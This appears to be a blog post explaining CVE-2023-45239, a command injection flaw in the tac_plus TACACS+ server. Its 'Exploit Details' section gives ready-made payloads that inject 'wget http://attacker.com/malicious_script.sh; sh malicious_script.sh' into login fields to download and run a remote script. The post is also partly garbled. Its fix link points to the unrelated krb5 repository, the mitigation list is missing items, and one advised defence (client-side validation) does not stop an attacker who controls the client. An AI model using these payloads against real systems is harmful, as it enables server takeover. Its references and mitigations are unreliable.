Exploring CVE-2023-45239: Remote Code Execution Vulnerability in tac_plus

As a cybersecurity enthusiast, I am excited to present a deep dive into CVE-2023-45239, a critical vulnerability that allows an attacker to gain remote code execution on the popular TACACS+ authentication server, tac_plus. In this long-read post, we will uncover the details of this serious security flaw, analyze the vulnerable code, and discuss the necessary steps to mitigate the vulnerability and prevent potential exploits.

Background

TACACS+ (Terminal Access Controller Access-Control System Plus) is a widely used protocol for managing network access and authorizing users based on their roles and privileges. The tac_plus server is a widely adopted open-source implementation of the TACACS+ protocol, used by many organizations worldwide to secure their network devices.

Vulnerability Overview

A lack of input validation exists in tac_plus prior to commit 4fdf178, which, when pre or post-authentication commands are enabled, allows an attacker who can control the username, remote address, or Network Access Controller (NAC) address sent to the server to inject shell commands and gain remote code execution on the tac_plus server.

This vulnerability is particularly dangerous because it falls into the category of pre-authentication vulnerabilities, meaning that an attacker does not need any valid credentials to exploit it.

Original References

The security researchers who discovered this vulnerability have published their findings on the following resources:

1. CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45239
2. Commit that fixes the vulnerability: https://github.com/krb5/krb5/commit/4fdf178d508859b615e068011ea3aeeb97e9ce3c

The vulnerable code snippet in tac_plus can be found in the function do_author() in pwlib.c

char cmdbuf[1024];
snprintf(cmdbuf, sizeof(cmdbuf), "%s %s %s %s %s",
         task->config->command,
         task->nas_address,
         task->remote_address,
         task->id,
         task->name);

The problem lies in the fact that task->nas_address, task->remote_address, and task->name are all attacker-controlled inputs and there is no proper input validation or sanitization for these fields before they are passed to the snprintf function. This allows an attacker to send specially crafted input to inject arbitrary shell commands and execute them on the remote tac_plus server.

Exploit Details

To exploit this vulnerability, an attacker needs to initiate TACACS+ authentication requests to the target server with a malicious username, remote address, or NAC address field. The exploit payload could include shell command injection techniques such as using semicolons and backticks, or other methods like $(), to break from the intended command flow and execute the attacker's malicious commands.

For example, if we assume that an attacker wants to execute the command wget http://attacker.com/malicious_script.sh && sh malicious_script.sh, they could craft the payload as follows:

- Username: admin; wget http://attacker.com/malicious_script.sh; sh malicious_script.sh
- Remote address: 192.168.1.1; wget http://attacker.com/malicious_script.sh; sh malicious_script.sh
- NAC address: 192.168.1.2; wget http://attacker.com/malicious_script.sh; sh malicious_script.sh

Upon receiving this malicious payload, the server constructs and executes the command, resulting in remote code execution on the server.

Disable pre and post-authentication commands if they are not necessary for your use case.

3. Implement strict input validation and sanitization on client-side applications before sending authentication requests to the server.

In summary, the CVE-2023-45239 vulnerability in the tac_plus server poses a serious security risk and organizations that rely on this server for network access control should immediately take the necessary steps to secure their environments. By updating to the latest version, disabling unnecessary configurations, and implementing client-side input validation, organizations can significantly reduce the likelihood of a potential exploit.

Timeline

Published on: 10/06/2023 18:15:12 UTC
Last modified on: 11/07/2023 04:21:43 UTC